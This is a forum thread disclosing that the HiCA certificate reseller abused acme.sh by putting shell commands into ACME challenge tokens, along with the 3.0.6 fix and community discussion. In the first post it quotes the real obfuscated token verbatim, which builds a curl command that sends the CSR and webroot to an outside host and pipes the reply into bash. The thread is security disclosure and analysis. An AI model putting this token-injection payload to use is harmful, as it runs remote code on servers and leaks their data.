Acme.sh will run arbitrary commands from the configured CA (Fixed in 3.0.6)

rmbolger · June 9, 2023, 5:49am

Fascinating discovery by @mholt. Thought folks here would be interested. There's apparently an RCE bug (or feature?) in acme.sh that a Chinese CA reseller is exploiting in order to ~~render an ASCII QR code during the cert validation flow in order to request payment for the resulting cert~~ wrap a non-ACME http validation flow into something acme.sh can process. They also sent error messages during the cert download stage that would render an ASCII QR code asking for payment for the resulting cert before the download would work. The bug relies on the ACME Server intentionally acting maliciously, so it's unlikely to affect folks using the major public CAs. But it could potentially be abused more easily by ACME implementations intended for use with private CAs.

More details in the Github issue Matt submitted.

github.com/acmesh-official/acme.sh

acme.sh runs arbitrary commands from a remote server

opened 09:19PM - 08 Jun 23 UTC

mholt

Hello, You may already be aware of this, but [HiCA](https://www1.hi.cn/en/) i…s injecting arbitrary code/commands into the certificate obtaining process and acme.sh is running them on the client machine. I am not sure if this is intentional, expected by users, or safe/unsafe. But I'm documenting my findings for the public to be aware of with this CA. HiCA's documentation explains that it only supports acme.sh as a client. This was curious to me so I tried to learn why, if it is using ACME (and the ACME logo!) it should be basically compatible with the majority of ACME clients. While obtaining a certificate using [ACMEz](https://github.com/mholt/acmez), [I discovered](https://twitter.com/mholt6/status/1666897779564892160) that the Directory was blocked unless the User-Agent is set to a string that starts with `Mozilla` or `acme.sh/2.8.2 (https://github.com/Neilpang/acme.sh)`. (Firefox loaded the directory just fine, which is surprising because Firefox is not acme.sh.) (I also noticed that `caaIdentities` includes a variety of CAs including Google Trust Services and SSL.com. Curious.) Once I faked the UA in my own client and got that working, issuance still failed. Curiously, the error message involved trying a URL of `../pki-validation`. This doesn't make any sense to me [even though that kind of appears in their docs](https://www1.hi.cn/en/docs/tutorial-expert/challenge/http-challenge) because it is not standard ACME, so I dug a little deeper to figure out what the Challenge object consisted of that would cause my client to try making a request to `../pki-validation`. It turns out that the Challenge objects look unusual. Here's a lightly-formatted example: ```yaml { Type: http-01 URL: ../pki-validation Status: pending Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)# KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw } ``` Now it became immediately obvious to my why HiCA only supports acme.sh. They are not conforming to ACME at all! (Bugs the heck outa me that [they're using the official ACME logo on their site](https://www1.hi.cn/en/docs/intro) even though they don't implement the ACME standard.) Instead, **HiCA is stealthily crafting `curl` commands and piping the output to `bash`. acme.sh is (being tricked into?) running arbitrary code from a remote server.** :exclamation: Here's my analysis so far: The Token string is NOT in conformance with RFC 8555, which states: "the token for a challenge is a string comprised entirely of characters in the URL safe base64 alphabet." (`#` is not URL-safe). However you can tell they're abusing this Token string to encode structure that can be parsed by splitting on "#": - I'm not sure what "dd" means. I do have a file called ```/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321\?o\=\$_w\|bash\)/.well-known/acme-challenge/dd``` after running acme.sh for a test domain though. It contains the value "dd"... - The next part is clearly a URL to a "precheck-http" resource for this challenge. It returns an error "csr not submitted" if you try to request them before running the `csr/http` endpoint successfully. I haven't crafted a successful request to this endpoint yet. - The next part of the token is the challenge type, http-01 in this case. - The part starting with "/tmp/" is a path to a temporary folder or file. A curl command is crafted by inline scripts that write " " (space) and "://" by base64-decoding "IA==" and "Oi8v" respectively. The result is a command like `curl -sF csr=@... https://...?o=$_w`. In other words, it sends the CSR (provided by acme.sh variable `$csr`) and your web root to the CA and then pipes the response of that command straight into bash and acme.sh runs it. :grimacing: ~~I am hoping you could help me craft a request to see the contents of the script that is being run. It seems to involve writing to the disk since `o` (output?) contains the webroot (the value of `$_w` in acme.sh).~~ UPDATE: [Aleksejs Popovs has extracted the remote script and verified that it does get executed in a VM.](https://twitter.com/aleksejspopovs/status/1666955050696966148) - Another obvious concern is the Token is supposed to contain at least 128 bits of entropy _without client influence_. See RFC 8555 section 11.3: > "First, the ACME client should not be able to influence the ACME server's choice of token as this may allow an attacker to reuse a domain owner's previous challenge responses for a new validation request." - Error responses come with a 200 status and application/json Content-Type in violation of RFC 8555 (and HTTP convention). This makes it tedious to correctly handle errors. Only "server error" responses return 500. - The second number in the endpoints (654321 in this example) increments for each challenge. So we know how many challenges this CA is experiencing. Anyway, this all seems very worrisome to me. I am not sure why HiCA is doing what they are doing. But this intentional deviation from RFC 8555 and the lack of transparency on their docs is suspicious and concerning. I am not sure if it is intentional that acme.sh is allowing arbitrary commands from a remote server to execute. Hopefully this is helpful and maybe you can provide some insight and recommendations.

Update: @neilpang released acme.sh 3.0.6 with a fix for the exploit and it looks like the chinese CA reseller has shut down.

_az · June 9, 2023, 6:22am

Oh ha, I just posted a thread about the same thing, deleted now.

When I saw Amir link to the CA on the ietf acme wg onion email thread, and then saw the payloads when I made Certbot pretend to be acme.sh, I got really worried that a bunch of people had been pwned already. I'm glad that's not the case.

Totally absurd and they deserve to have their CA deleted. (Edit: I'm heartened to see that they do not actually operate an CA, which I suppose is the why for the RCE).

orangepizza · June 9, 2023, 7:29am

WTH. did they made entire CA to pwn some servers and blow itself up?

rg305 · June 9, 2023, 7:36am

I second the motion.

And in the aftermath...
How will we stop ACME clients from such exploits/abuse/misuse?

orangepizza · June 9, 2023, 7:50am

for what we can do:
should we try to send malformed token from peeble and try to catch if client is accepted/tricked?
(what client should do if they see such reponse?)
and. should LE send mail about this? they should Safeish until mitm ca domain though

rg305 · June 9, 2023, 7:57am

I hate to go down this path but...
Isn't this forcing the hand towards?:
Should ACME clients be "ACME certified"?
[If so, then who would be the ACME client certification authority?]
[sounds like an unpaid service that may be exposed to unreasonable liability - death before it ever takes one breath]

orangepizza · June 9, 2023, 8:06am

I think pebble maybe have to get bigger and nastier. (like 100k token thrown to get buffer overrun/ cert returned it not matching with public key from csr/ validation page given is actually a php persistance script etc..)

Osiris · June 9, 2023, 8:13am

Clients should never ever run remote code?

rg305 · June 9, 2023, 8:42am

Have you seen the sample code it ran?
Is there no safely line?

orangepizza · June 9, 2023, 8:52am

https://twitter.com/aleksejspopovs/status/1666955050696966148

but it was downloaded payload from remote, not injected one itself, so whatever it can be if it's high enough profile/ before tweet of it appears

webprofusion · June 9, 2023, 9:11am

For what it's worth the payload appears to be implement so that an alternative challenge type/variation can be implemented. Wasn't it sectigo that used to use "pki-validation"?

Obviously they'll have to stop this working, there's no way they can tolerate running an arbitrary payload but I'd be interested in knowing why they went this direction.

The fact you also then have to pay for your cert download using crypto kind of says it all.

petercooperjr · June 9, 2023, 11:18am

Using the .well-known/pki-validation directory is the standard BR 3.2.2.4.18 method of a CA validating domain name control by having the web site owner put a file on the site. It's like the HTTP-01 method that ACME uses, but how a CA does it if not using ACME.

mholt · June 9, 2023, 1:52pm

I think of shells like C code: both are dangerous but in different ways.

With C you have obvious memory safety problems.

With shells, it's just really hard to sanitize inputs. (Although in this case the fix was to remove an exec call - I agree with an earlier comment that an ACME client should never execute remote code.)

Props to the acme.sh dev for the quick fix and release!

My simple recommendations:

Avoid CAs that require a certain ACME client or have other unusual restrictions / requirements!
Keep your client patched.

jvanasco · June 9, 2023, 4:26pm

This is a massive find. THANK YOU.

Have you generated a CVE yet?

rg305 · June 9, 2023, 4:33pm

@Neilpang
The latest "fix" doesn't change the version number
How can anyone be certain they are patched?

/root/.acme.sh/acme.sh --version
https://github.com/acmesh-official/acme.sh
v3.0.6

/root/.acme.sh/acme.sh --upgrade
[Fri Jun  9 16:28:42 UTC 2023] Installing from online archive.
[Fri Jun  9 16:28:42 UTC 2023] Downloading https://github.com/acmesh-official/acme.sh/archive/master.tar.gz
[Fri Jun  9 16:28:42 UTC 2023] Extracting master.tar.gz
[Fri Jun  9 16:28:42 UTC 2023] It is recommended to install socat first.
[Fri Jun  9 16:28:42 UTC 2023] We use socat for standalone server if you use standalone mode.
[Fri Jun  9 16:28:42 UTC 2023] If you don't use standalone mode, just ignore this warning.
[Fri Jun  9 16:28:42 UTC 2023] Installing to /root/.acme.sh
[Fri Jun  9 16:28:42 UTC 2023] Installed to /root/.acme.sh/acme.sh
[Fri Jun  9 16:28:43 UTC 2023] Good, bash is found, so change the shebang to use bash as preferred.
[Fri Jun  9 16:28:44 UTC 2023] OK
[Fri Jun  9 16:28:44 UTC 2023] Install success!
[Fri Jun  9 16:28:44 UTC 2023] Upgrade success!

/root/.acme.sh/acme.sh --version
https://github.com/acmesh-official/acme.sh
v3.0.6

Osiris · June 9, 2023, 4:39pm

Which actually shows to which lengths this malicious CA was willing to go to exploit such a vulnerability in this one ACME client..

I'm not sure, but hopefully the CA/Browser Forum has a strong opinion about this. Did anyone find any public email trail or other statement yet?

mholt · June 9, 2023, 5:02pm

@Osiris It wasn't its own CA, they were just "reselling" SSL.com and others. I think the CA/B forum only gets involved if they're a root CA or the BRs were violated.

Uhh, you're welcome I guess

No... I don't really care for CVEs. I think the DB is too noisy to be useful.

Osiris · June 9, 2023, 5:03pm

Perhaps. But it wouldn't be the first time if the root CA got penalized for the actions of one of the subordinate CAs or resellers I think.

jvanasco · June 9, 2023, 5:31pm

For most people, yes. And wow - the number of insane CVEs that some projects I work with get is high.

Unfortunately, this is the only way some environments find out about stuff like this.

Osiris · June 9, 2023, 6:58pm

https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/heXVr8o83Ys

Interesting thread methinks. Looks like QuantumCA is going to loose their ssl.com signed intermediate cert.